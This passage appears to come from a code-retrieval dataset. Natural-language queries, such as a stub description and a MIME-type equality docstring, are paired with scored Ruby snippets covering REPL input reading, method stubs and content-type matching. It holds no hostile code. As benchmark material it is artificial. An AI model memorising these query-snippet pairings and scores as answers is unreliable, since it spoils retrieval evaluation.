"text": "def read\n @indent.reset if pry.eval_string.empty?\n current_prompt = pry.select_prompt\n indentation = pry.config.auto_indent ? @indent.current_prefix : ''\n\n val = read_line(\"#{current_prompt}#{indentation}\")\n\n # Return nil for EOF, :no_more_input for error, or :control_c for <Ctrl-C>\n return val unless val.is_a?(String)\n\n if pry.config.auto_indent\n original_val = \"#{indentation}#{val}\"\n indented_val = @indent.indent(val)\n\n if output.tty? &&\n pry.config.correct_indent &&\n Pry::Helpers::BaseHelpers.use_ansi_codes?\n output.print @indent.correct_indentation(\n current_prompt,\n indented_val,\n calculate_overhang(current_prompt, original_val, indented_val)\n )\n output.flush\n end\n else\n indented_val = val\n end\n\n indented_val\n end",
"title": ""
},
{
"docid": "d1793cd4b2bd49b4ead9694ed44ea9a0",
"score": "0.48492858",
"text": "def expr(str)\n str.gsub(/\\s+/, \"\").chomp(\";\")\n end",
"title": ""
},
{
"docid": "ae4ddef1c4512ae98794a8e639e74b5a",
"score": "0.48426658",
"text": "def refresh(errors = nil)\n lines = @message.scan(\"\\n\").length\n lines += ((!echo? || errors.nonzero?) ? 1 : 2) # clear user enter\n\n if errors.nonzero? && @done\n lines += errors\n end\n\n @prompt.print(@prompt.clear_lines(lines))\n end",
"title": ""
},
{
"docid": "2d990321db4cb2f8c793504822c5a084",
"score": "0.484064",
"text": "def reset\n flush\n @_output.clear\n @_stack.clear\n self\n end",
"title": ""
},
{
"docid": "51782ac2ca339dbac83811b9bf88b5ea",
"score": "0.4837103",
"text": "def refresh(lines)\n if (@hint && (!@selected || @done)) || (@auto_hint && collapsed?)\n @hint = nil\n @prompt.clear_lines(lines, :down) +\n @prompt.cursor.prev_line\n elsif expanded?\n @prompt.clear_lines(lines)\n else\n @prompt.clear_line\n end\n end",
"title": ""
},
{
"docid": "0def57520d7b4af9be63c9a6e304e4f8",
"score": "0.4828527",
"text": "def test_set_evaluation_3\n\t\ttester = TheRepl.new()\n\t\ttester.set_variables(['a', '97'], 1, false)\n\t\tassert_equal [\"97\"], tester.set_evaluation('a', [], 1, false)\n\tend",
"title": ""
},
{
"docid": "ace3ebdd18041273802b8f839fdb9c7c",
"score": "0.4811724",
"text": "def resume_pry; end",
"title": ""
},
{
"docid": "ace3ebdd18041273802b8f839fdb9c7c",
"score": "0.4811724",
"text": "def resume_pry; end",
"title": ""
},
{
"docid": "864af86de75fdf1c37c8dbc913d773e1",
"score": "0.48055825",
"text": "def run_emacs_eval_hook(line)\n if $emacs_eval_hook.empty?\n # without emacs-eval-hook only single line eval\n file = \"(emacs-eval-hook)\"\n set_snd_input(:emacs)\n begin\n Snd.display(eval(line, TOPLEVEL_BINDING, file, 1).inspect)\n rescue Interrupt, ScriptError, NameError, StandardError\n Snd.display(verbose_message_string(true, \"# \", file))\n end\n set_snd_input(:snd)\n nil\n else\n $emacs_eval_hook.call(line)\n end\nend",
"title": ""
},
{
"docid": "766416ef0f4d4cd754cdb9e09238f07a",
"score": "0.48031875",
"text": "def compiler_reset\r\n @mode = :Execute\r\n @level = 0\r\n @quotes = 0\r\n @buffer = nil\r\n @force_compile = false\r\n end",
"title": ""
},
{
"docid": "77343ff98cca5b05970ecf95284269ff",
"score": "0.4794807",
"text": "def reset() @parser=nil end",
"title": ""
},
{
"docid": "0ba34479465424febadb4d6080924ed1",
"score": "0.47942862",
"text": "def repl_loop(variables, l_n)\n token_parser = TokenParser.new\n line_executor = LineExecutor.new\n\n input = prompt_for_input(l_n)\n return true if input.strip == ''\n input_arr = token_parser.input_to_arr(input)\n types_str = token_parser.parse_arr(input_arr)\n\n exit! if input_arr[0].to_s.casecmp('QUIT').zero?\n display(line_executor.decider(input_arr, types_str, variables, l_n), l_n)\n true\n end",
"title": ""
},
{
"docid": "b3c9d82918d3cb435d120e8fb597f12e",
"score": "0.4786882",
"text": "def run_rubylex\n\t\t\tline = \"\" \n\t\t\tcmd = \"\" \n\t\t\t@lexer = RubyLex.new \n\t\t\t@lexer.set_input(STDIN) do \n\t\t\t\t@indent_level = @lexer.indent\n\t\t\t\t@quoted = @lexer.quoted\n\t\t\t\tbegin\n\t\t\t\t\tcmd = Readline.readline(prompt())\n\t\t\t\t\tif cmd.nil?\n\t\t\t\t\t\t\"\"\n\t\t\t\t\telse\n\t\t\t\t\t\tReadline::HISTORY.push cmd if cmd != ''\n\t\t\t\t\t\texpand(cmd) + \"\\n\"\n\t\t\t\t\tend\n\t\t\t\trescue ::Interrupt => e\n\t\t\t\t\tputs\n\t\t\t\t\t''\n\t\t\t\tend\n\t\t\tend \n\n\t\t\t@lexer.each_top_level_statement do |cmd, i| \n\t\t\t\tbreak if cmd.chop == 'exit' \n\t\t\t\texecute cmd \n\t\t\tend \n\n\t\t\tfinish\n\t\tend",
"title": ""
}
] |
a380eb65957679272ce217d8fa67d0c3 | Hackish stubs: Noah Paessel | [
{
"docid": "27f7590ae3050da419e4d5c27be268bd",
"score": "0.0",
"text": "def offerings\n []\n end",
"title": ""
}
] | [
{
"docid": "a9b4b561b04ad3aa44d429bfab1373ef",
"score": "0.76669127",
"text": "def stubbee; end",
"title": ""
},
{
"docid": "cd8ac8982186a40f61e4b73e00c896f3",
"score": "0.7510731",
"text": "def stubs=(_arg0); end",
"title": ""
},
{
"docid": "a2f6da6aea75b4622167b6f2af63180b",
"score": "0.7491262",
"text": "def stubs; end",
"title": ""
},
{
"docid": "6513ed80c07083afaa67e08a17d5b972",
"score": "0.749062",
"text": "def stubbed?; end",
"title": ""
},
{
"docid": "6153b89dfd052a4eabe636ea1c0a31a6",
"score": "0.72360903",
"text": "def stubba_methods; end",
"title": ""
},
{
"docid": "6a02ffd7ccc73f929e1a395938c4afba",
"score": "0.70300025",
"text": "def stubba_object; end",
"title": ""
},
{
"docid": "a245847c2061fc25582fff9fb34f275a",
"score": "0.70087755",
"text": "def stub(*arguments); end",
"title": ""
},
{
"docid": "79678293371fbbb5b7a6b70fde2448b3",
"score": "0.69892293",
"text": "def stubba_methods=(_arg0); end",
"title": ""
},
{
"docid": "ecc273f9b26fce1f42997f8ca6c2a340",
"score": "0.68938154",
"text": "def request_stubs=(_arg0); end",
"title": ""
},
{
"docid": "ecc273f9b26fce1f42997f8ca6c2a340",
"score": "0.68938154",
"text": "def request_stubs=(_arg0); end",
"title": ""
},
{
"docid": "32aec97d5243a2acb08c476c22f3768f",
"score": "0.6821535",
"text": "def hunter_stub\n end",
"title": ""
},
{
"docid": "a319ad82bddc779ee54a4bf26aea0be8",
"score": "0.6746977",
"text": "def enable_stubs!; end",
"title": ""
},
{
"docid": "f98d6a9eea49481686b2aeab00386c37",
"score": "0.6701775",
"text": "def request_stubs; end",
"title": ""
},
{
"docid": "f98d6a9eea49481686b2aeab00386c37",
"score": "0.6701775",
"text": "def request_stubs; end",
"title": ""
},
{
"docid": "3eddf61d14db861333e717d132242e67",
"score": "0.6640751",
"text": "def request_stub; end",
"title": ""
},
{
"docid": "3eddf61d14db861333e717d132242e67",
"score": "0.6640751",
"text": "def request_stub; end",
"title": ""
},
{
"docid": "3eddf61d14db861333e717d132242e67",
"score": "0.6640751",
"text": "def request_stub; end",
"title": ""
},
{
"docid": "3eddf61d14db861333e717d132242e67",
"score": "0.66401726",
"text": "def request_stub; end",
"title": ""
},
{
"docid": "6a6ed5368f43a25fb9264e65117fa7d1",
"score": "0.6615387",
"text": "def internal; end",
"title": ""
},
{
"docid": "05aac9480a8521a7ebf904653b08c240",
"score": "0.6583202",
"text": "def hijack!; end",
"title": ""
},
{
"docid": "310d7ee9e089845d909f1688bad2d6c4",
"score": "0.6571",
"text": "def hidden_apis=(_arg0); end",
"title": ""
},
{
"docid": "0c860d341b57fa9168894e792350480f",
"score": "0.65580124",
"text": "def missingimpl; end",
"title": ""
},
{
"docid": "8b3569b219e99d9eac85050822f6f885",
"score": "0.6549264",
"text": "def wrappers; end",
"title": ""
},
{
"docid": "32f20fb668f6644e8f8f7a8447b5ff96",
"score": "0.65134346",
"text": "def show_stubbing_instructions=(_arg0); end",
"title": ""
},
{
"docid": "32f20fb668f6644e8f8f7a8447b5ff96",
"score": "0.65134346",
"text": "def show_stubbing_instructions=(_arg0); end",
"title": ""
},
{
"docid": "23128f268e01f2d8ab73fc20d8546139",
"score": "0.64800775",
"text": "def show_stubbing_instructions; end",
"title": ""
},
{
"docid": "23128f268e01f2d8ab73fc20d8546139",
"score": "0.6478978",
"text": "def show_stubbing_instructions; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.6461231",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.6461231",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.6461231",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.6457965",
"text": "def implementation; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.6457965",
"text": "def implementation; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.6457965",
"text": "def implementation; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.6457965",
"text": "def implementation; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.6457965",
"text": "def implementation; end",
"title": ""
},
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.6454879",
"text": "def spec; end",
"title": ""
},
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.6454879",
"text": "def spec; end",
"title": ""
},
{
"docid": "072514f3348fe62556dcdfd4b06e3d08",
"score": "0.6454879",
"text": "def spec; end",
"title": ""
},
{
"docid": "c9dca2359e04038394b1c66d5d923fa2",
"score": "0.6433091",
"text": "def wrapped; end",
"title": ""
},
{
"docid": "c9dca2359e04038394b1c66d5d923fa2",
"score": "0.6433091",
"text": "def wrapped; end",
"title": ""
},
{
"docid": "c9dca2359e04038394b1c66d5d923fa2",
"score": "0.6433091",
"text": "def wrapped; end",
"title": ""
},
{
"docid": "c9dca2359e04038394b1c66d5d923fa2",
"score": "0.6433091",
"text": "def wrapped; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "22eca42bc8ffb4cb933fefb36966d859",
"score": "0.64119726",
"text": "def call; end",
"title": ""
},
{
"docid": "d45843e899fc57fee16bda1a163a6cf1",
"score": "0.6380655",
"text": "def stubbing(object, method_name); end",
"title": ""
},
{
"docid": "b6b2bcc0062aeb115edab7b10cbe6930",
"score": "0.63759094",
"text": "def desired; end",
"title": ""
},
{
"docid": "41ba37d607929db3746c1bb911f3ee59",
"score": "0.6351788",
"text": "def stub_everything(*arguments); end",
"title": ""
},
{
"docid": "90962fcc0d63d6fa069e5670c6c6d6c5",
"score": "0.6327266",
"text": "def sandbox; end",
"title": ""
},
{
"docid": "6408f170a17f4091e310f03fc865a841",
"score": "0.6293454",
"text": "def stub?\n false\n end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.6285891",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.6285891",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.6285891",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.6285891",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.6285891",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.6285891",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "0b4b414f02f43193303ed087b523373f",
"score": "0.62784886",
"text": "def verify_stubbed_calls; end",
"title": ""
},
{
"docid": "c3285b979f713395f60cf13edce8a310",
"score": "0.6244962",
"text": "def methodmissing; end",
"title": ""
},
{
"docid": "4b8b41ac0be0282d99f641b6cb9591e6",
"score": "0.6235617",
"text": "def stub\n self.stubs(:call)\n end",
"title": ""
},
{
"docid": "72cf1cb20d4bc11010b9431be33fbc9a",
"score": "0.6206075",
"text": "def proto; end",
"title": ""
},
{
"docid": "35d9119d35b45078479270bce58d733c",
"score": "0.61965346",
"text": "def unstub_all!; end",
"title": ""
},
{
"docid": "33703f46f7e0dc0d70b4ade55ce6c910",
"score": "0.61920136",
"text": "def steal!; end",
"title": ""
},
{
"docid": "e44ae2cef169d29f78b2b6306add59da",
"score": "0.61880267",
"text": "def huddlingly()\n end",
"title": ""
},
{
"docid": "90ea72f39804ec8d617c80155d2ba796",
"score": "0.615299",
"text": "def me_spots_stub\n end",
"title": ""
},
{
"docid": "c6d14648d6813713b033c9ae79ae0568",
"score": "0.6151204",
"text": "def enable_stubs!\n # DO NOTHING\n end",
"title": ""
},
{
"docid": "14b1e93abb94798f11ca7e1be0745929",
"score": "0.6140975",
"text": "def sn(*) end",
"title": ""
},
{
"docid": "84cc16f27e4c7b873daa31dbe5b4a0a6",
"score": "0.61232734",
"text": "def stub(method_name, &block); end",
"title": ""
},
{
"docid": "1c709e6047dee3022a362eb47e365c82",
"score": "0.6117103",
"text": "def hook; end",
"title": ""
},
{
"docid": "1c709e6047dee3022a362eb47e365c82",
"score": "0.6117103",
"text": "def hook; end",
"title": ""
},
{
"docid": "1c709e6047dee3022a362eb47e365c82",
"score": "0.6117103",
"text": "def hook; end",
"title": ""
},
{
"docid": "1c709e6047dee3022a362eb47e365c82",
"score": "0.6117103",
"text": "def hook; end",
"title": ""
},
{
"docid": "509852cfbe9e4a0b02dc75d645f64295",
"score": "0.61124814",
"text": "def get_first_obj; raise \"get_first_obj called on base stub\"; end",
"title": ""
},
{
"docid": "579785c2b5643c382fbc15e1c7e4d5f0",
"score": "0.6100668",
"text": "def stubs\n nil\n end",
"title": ""
},
{
"docid": "58e2e07d11b107b6864a328f2187e248",
"score": "0.6083013",
"text": "def apop?; end",
"title": ""
},
{
"docid": "ca2c7a84f4576cf5c8ded5c8dfc984ec",
"score": "0.6081022",
"text": "def stub(base_url); end",
"title": ""
},
{
"docid": "f339ce0e77761c6e74a74bd8dd5db382",
"score": "0.60804033",
"text": "def smallbiz\n end",
"title": ""
},
{
"docid": "80796c55ecd927eff17f78214c30dbcc",
"score": "0.6072797",
"text": "def pass; end",
"title": ""
},
{
"docid": "80796c55ecd927eff17f78214c30dbcc",
"score": "0.6070054",
"text": "def pass; end",
"title": ""
},
{
"docid": "80796c55ecd927eff17f78214c30dbcc",
"score": "0.6070054",
"text": "def pass; end",
"title": ""
},
{
"docid": "80796c55ecd927eff17f78214c30dbcc",
"score": "0.6070054",
"text": "def pass; end",
"title": ""
},
{
"docid": "25be9f40bd0a68cc386da55bb9e103b0",
"score": "0.6060115",
"text": "def emulation; end",
"title": ""
},
{
"docid": "69153acb23f7306e6b292c85c69d9128",
"score": "0.6050037",
"text": "def stubify\n #TODO @aliases, @is_alias_for\n #TODO @is_class_method\n #TODO @block_params\n\n # @aliases is always empty - rdoc seems to duplicate the method instead\n # and set its documentation to \"# Alias for _name_\"\n \n methods = Set.new\n if (@call_seq != nil)\n # File.fnmatch(arg1, arg2) => foo -> fnmatch, (arg1, arg2)\n # but also don't freak out on \"def shift -> (key, value)\"\n re = /([^(.:=-]+)(\\([^)]+\\))(\\s*(=>|->).*)?/\n \n args = nil\n @call_seq.each_line { |line|\n # Handle special case\n if (line =~ /gdbm.shift/)\n methodname = \"shift\"\n args = \"\"\n signature = \"shift\"\n else\n md = re.match(line)\n if md != nil\n methodname = md[1] \n\n# Special case for stub_enumerable\nif methodname.eql?('with_index {|')\n methodname = \"with_index\";\nend\n args = argify(md[2])\n signature = methodname + args\n if !signature.eql?('set_trace_func(nil)') # Skip this method, it's just doc on nil behavior\n methods.add(signature)\n end\n end\n end\n }\n \n if methods.empty?\n # Perhaps the signature doesn't include parens, for example\n # mtch.postmtch => result\n # Just use @name for this - works best for operators (===) and such\n methods.add(@name)\n end\n else\n signature = @name\n if @params == nil\n signature = @name\n elsif (@params.eql?('(...)'))\n # It's a method defined in native code that didn't include\n # a call-seq. That makes it an unknown - we'll just use *args\n signature = @name+\"(*args)\"\n elsif !@params.eql?(\"()\")\n signature = signature + @params\n end\n methods.add(signature)\n end\n\n s = \"\"\n methods.each { |sig|\n if @call_seq != nil\n @call_seq.each_line { |line| \n if !(/^#/ =~ line)\n line = \"# \" + line\n end\n s << line\n }\n end\n append_comment(@rdoccomment, s)\n if (@access != nil &&\n !@access.eql?(\"public\"))\n s << @access + \"\\n\"\n end\n s << \"def \"\n if @is_singleton\n s << \"self.\"\n end\n \n s << sig\n s << \"\\n\"\n s << <<FOO\n # This is just a stub for a builtin Ruby method.\n # See the top of this file for more info.\nFOO\n s << \"end\\n\\n\"\n }\n\n return s\n end",
"title": ""
},
{
"docid": "25b3fcfcf33ffae73848158244a8d93b",
"score": "0.6048733",
"text": "def run_internal; end",
"title": ""
}
] |
af95fd4fabc25b5402dda935edf64263 | Returns +true+ if the +other+ object is a MIME::Type and the content types match. | [
{
"docid": "69537a5ae9840382a4a567d9de6559a7",
"score": "0.0",
"text": "def eql?(other); end",
"title": ""
}
] | [
{
"docid": "c4129bb978829d6becb8373bb06c6093",
"score": "0.8267476",
"text": "def eql?(other)\n other.kind_of?(MIME::Type) and self == other\n end",
"title": ""
},
{
"docid": "5afb53b68ee58db0466bb42507fe017b",
"score": "0.82538056",
"text": "def eql?(other) #:nodoc:\n other.kind_of?(MIME::Type) and self == other\n end",
"title": ""
},
{
"docid": "5afb53b68ee58db0466bb42507fe017b",
"score": "0.82538056",
"text": "def eql?(other) #:nodoc:\n other.kind_of?(MIME::Type) and self == other\n end",
"title": ""
},
{
"docid": "6276878e4df9c3ac29844d474dc21baf",
"score": "0.74810714",
"text": "def ==(other_media_type)\n mime_type == other_media_type.mime_type\n end",
"title": ""
},
{
"docid": "865d76b2451eb2e82e007ad0a1b3a795",
"score": "0.74083626",
"text": "def consists_of_mime_types?(*types)\n types = types.flatten\n type = self.content_type.type\n\n if self.multipart?\n case type\n when 'multipart/alternative'\n self.parts.any? {|part| part.consists_of_mime_types?(types) }\n when 'multipart/mixed'\n self.parts.all? {|part| part.consists_of_mime_types?(types) }\n when 'multipart/related'\n # FIXME: This should look for a start parameter and try that first.\n self.parts.first.consists_of_mime_types?(types)\n when 'multipart/signed'\n self.parts.first.consists_of_mime_types?(types)\n when 'multipart/appledouble'\n self.parts[1].consists_of_mime_types?(types)\n when 'message/rfc822', 'message/rfc2822'\n self.parts.first.consists_of_mime_types?(types)\n else\n false\n end\n else\n types.any? {|t| t === type }\n end\n end",
"title": ""
},
{
"docid": "9339ffa37888c45d342c6cbf3caff532",
"score": "0.730349",
"text": "def like?(other)\n if other.respond_to?(:simplified)\n @simplified == other.simplified\n else\n @simplified == MIME::Type.simplified(other)\n end\n end",
"title": ""
},
{
"docid": "9a1dcbe4cdfef93389d9f2ee005a9b39",
"score": "0.7166787",
"text": "def is_mime_type?(*args)\n return !(/^(#{args.join('|')})\\//.match(content_type).nil?)\n end",
"title": ""
},
{
"docid": "3aa8f768b76146cc7053e788cd1df891",
"score": "0.70547897",
"text": "def applies_to_content_type?(original_content_type)\n return true if content_type.nil?\n\n return true if content_type == original_content_type\n\n return false if original_content_type.nil?\n\n return true if (content_type.kind_of?(Array) && content_type.include?(original_content_type))\n\n content_type == original_content_type.sub(%r{/.+\\Z}, '')\n end",
"title": ""
},
{
"docid": "7e95a468649324caa93023e4ae985d0b",
"score": "0.7050081",
"text": "def accepts?( content_type )\n\t\treturn self.accepted_types.find {|type| type =~ content_type } ? true : false\n\tend",
"title": ""
},
{
"docid": "41677bcf0865253e8ce554e2e8505bbc",
"score": "0.69378144",
"text": "def is_content_type?(type)\n content_types.any? { |content| content.include?(type) }\n end",
"title": ""
},
{
"docid": "41677bcf0865253e8ce554e2e8505bbc",
"score": "0.69378144",
"text": "def is_content_type?(type)\n content_types.any? { |content| content.include?(type) }\n end",
"title": ""
},
{
"docid": "f74d1630d535029015e015d6613d0756",
"score": "0.6895783",
"text": "def ===(other)\n return self === MediaType.new(other) if other.is_a?(::String)\n\n type == other.type && subtype == other.subtype && other.parameters.all? { |k, v| parameters[k] == v } ||\n type == other.type && wildcard?(:subtype) ||\n wildcard?(:type) && wildcard?(:subtype)\n end",
"title": ""
},
{
"docid": "5a8ad9b79c1568db2eee0a53010d506f",
"score": "0.68912494",
"text": "def content_type?(request)\n config[:type].each{ |regex| return true if request.env[\"CONTENT_TYPE\"] =~ regex }\n false\n end",
"title": ""
},
{
"docid": "290279fbef94d74cafca4d8aa4a5b6d4",
"score": "0.68865097",
"text": "def eql?(other)\n self.class == other.class && self.filename == other.filename && self.content_types == other.content_types\n end",
"title": ""
},
{
"docid": "269a5cf67fd5e7477b462e847a2193d3",
"score": "0.6860008",
"text": "def matches?\n begin\n mimes = []\n MIME::Types.type_for(@extension.to_s).each { |i| mimes << i.content_type }\n !!(@distribution.http_head.content_type =~ /#{mimes.join('|')}/) || false\n rescue\n nil\n end\n end",
"title": ""
},
{
"docid": "b51f2ea2b260bf4f7f2cb8c95dd83856",
"score": "0.67553014",
"text": "def valid_content_type?\n whitelist = attachment_options[:content_type]\n errors.add :content_type, ActiveRecord::Errors.default_error_messages[:inclusion] unless whitelist.nil? || whitelist.include?(self.content_type)\n end",
"title": ""
},
{
"docid": "bd5588ce3ff53a86c3f18fb16c6495c5",
"score": "0.6744458",
"text": "def double_check_mime_type\n suggested_type = mime_magic_content_type\n if suggested_type && suggested_type != content_type\n update_column(:content_type, suggested_type)\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "2a84db160a489baa2fd3399fd820fe72",
"score": "0.67338866",
"text": "def for_type?(type)\n return true if content_types.empty?\n content_types.any? do |k|\n k.is_a?(Regexp) ? type =~ k : k.to_s == type.to_s\n end\n end",
"title": ""
},
{
"docid": "8bad729a6e71deefc1e975cec5fe7024",
"score": "0.6731235",
"text": "def is?(type)\n return false if type.to_s.empty?\n\n expected_types = Array.wrap(type).map(&:to_s)\n content_type && expected_types.select do |t|\n content_type.select { |ct| ct.start_with?(t) }\n end.any?\n end",
"title": ""
},
{
"docid": "abe558753c2237b2fa1101091ef81236",
"score": "0.6714286",
"text": "def valid_content_type?\n error? || !found? || content_type == expected_content_type\n end",
"title": ""
},
{
"docid": "6b73582ec7ca1335a99f6e74916d6f9e",
"score": "0.6700027",
"text": "def explicitly_accepts?( content_type )\n\t\tnon_wildcard_types = self.accepted_types.reject {|param| param.subtype.nil? }\n\t\treturn non_wildcard_types.find {|type| type =~ content_type } ? true : false\n\tend",
"title": ""
},
{
"docid": "879770f0f159caf00d382a93d9d92dfc",
"score": "0.6692417",
"text": "def match(other)\n other = MediaTypeIdentifier.load(other)\n\n return false if other.nil?\n return false unless type == other.type || type == WILDCARD\n return false unless subtype == other.subtype || subtype == WILDCARD\n return false unless suffix.empty? || suffix == other.suffix\n\n parameters.each_pair do |k, v|\n return false unless other.parameters[k] == v\n end\n\n true\n end",
"title": ""
},
{
"docid": "a207857815febc128418d120300d8a8b",
"score": "0.6616846",
"text": "def explicitly_accepts?( content_type )\n\t\tself.accepted_types.reject { |param| param.subtype.nil? }.\n\t\t\tfind {|type| type =~ content_type } ? true : false\n\tend",
"title": ""
},
{
"docid": "7258bd804b9390328c133814a0461afd",
"score": "0.6605137",
"text": "def matches_payload_types?(type)\n return false if type.nil?\n PAYLOAD_CONTENT_TYPES.include?(type.split(CONTENT_TYPE_SEPERATOR)[0])\n end",
"title": ""
},
{
"docid": "67ad96ac9d466c103b893ae7a01948cd",
"score": "0.6600812",
"text": "def known_content_type?(content_type = nil)\n true\n end",
"title": ""
},
{
"docid": "83111a2ddbb134783685c28ec9d498b1",
"score": "0.6576826",
"text": "def check_content_type_integrity(file_content)\n limited_types = %w[application/pdf image/png image/jpeg application/zip application/x-tar application/x-gzip-compressed application/x-7z-compressed application/vnd.oasis.opendocument.text application/vnd.openxmlformats-officedocument.wordprocessingml.document]\n mime = MimeMagic.by_magic(file_content)\n limited_types.include? mime.to_s\n end",
"title": ""
},
{
"docid": "660ff40260962ffce02069acc47b06e6",
"score": "0.6551783",
"text": "def match_mime_type?(value, matcher); end",
"title": ""
},
{
"docid": "660ff40260962ffce02069acc47b06e6",
"score": "0.6551783",
"text": "def match_mime_type?(value, matcher); end",
"title": ""
},
{
"docid": "ce38da87fdf2a0e4eb489c69eb425b1e",
"score": "0.65492797",
"text": "def accepts?( content_type )\n\t\tself.log.debug \"Checking to see if request accepts %p\" % [ content_type ]\n\t\tatype = self.accepted_types.find {|type| type =~ content_type }\n\t\tself.log.debug \" find returned: %p\" % [ atype ]\n\t\treturn atype ? true : false\n\tend",
"title": ""
},
{
"docid": "660e2bb89e97160b335c280427ca0882",
"score": "0.6529548",
"text": "def mime_type_allowed?\n return false unless mime_type\n ALLOWED_MIME_TYPES.include?(mime_type)\n end",
"title": ""
},
{
"docid": "7c3d12382067b60f9d9a3b854d08542c",
"score": "0.65232784",
"text": "def content_type?\n return true if !defined?(@content_type_allowlist) || @content_type_allowlist.nil? || @content_type.nil?\n return true if Array(@content_type_allowlist).any? { |item| @content_type =~ /#{item}/ }\n\n return true if valid_file_extension?\n\n add_invalid_file_type_error\n end",
"title": ""
},
{
"docid": "34ae862d2d63e076e83f1a6e396d89d2",
"score": "0.6488533",
"text": "def is_content_type? str\n @params['content-type'] == str\n end",
"title": ""
},
{
"docid": "cd69742f3d0ae3b7bc05a139da7dbb75",
"score": "0.64771473",
"text": "def accepted_mime_type?\n file.content_type.in? ACCEPTED_MIME_TYPES\nend",
"title": ""
},
{
"docid": "65cdad0cc59d414fe9c38b45eca701b8",
"score": "0.646604",
"text": "def =~( other )\n\t\t\tunless other.is_a?( self.class )\n\t\t\t\tother = self.class.parse( other.to_s ) rescue nil\n\t\t\t\treturn false unless other\n\t\t\tend\n\n\t\t\t# */* returns true in either side of the comparison.\n\t\t\t# ASSUMPTION: There will never be a case when a type is wildcarded\n\t\t\t# and the subtype is specific. (e.g., */xml)\n\t\t\t# We gave up trying to read RFC 2045.\n\t\t\treturn true if other.type.nil? || self.type.nil?\n\n\t\t\t# text/html =~ text/html\n\t\t\t# text/* =~ text/html\n\t\t\t# text/html =~ text/*\n\t\t\tif other.type == self.type\n\t\t\t\treturn true if other.subtype.nil? || self.subtype.nil?\n\t\t\t\treturn true if other.subtype == self.subtype\n\t\t\tend\n\n\t\t\treturn false\n\t\tend",
"title": ""
},
{
"docid": "d85b37f9c74e2e99b33017eefdca758c",
"score": "0.64074427",
"text": "def acceptable_content_type?\n\t\treq = self.request or return true\n\t\tanswer = req.accepts?( self.content_type )\n\t\tself.log.warn \"Content-type %p NOT acceptable: %p\" %\n\t\t\t[ self.content_type, req.accepted_mediatypes ] unless answer\n\n\t\treturn answer\n\tend",
"title": ""
},
{
"docid": "8d930a9073630e946a60f7f72af95c39",
"score": "0.6393502",
"text": "def accept?(mime_type)\n !!::Rack::Utils.q_values(accept).find do |mime, _|\n ::Rack::Mime.match?(mime_type, mime)\n end\n end",
"title": ""
},
{
"docid": "8d930a9073630e946a60f7f72af95c39",
"score": "0.6393502",
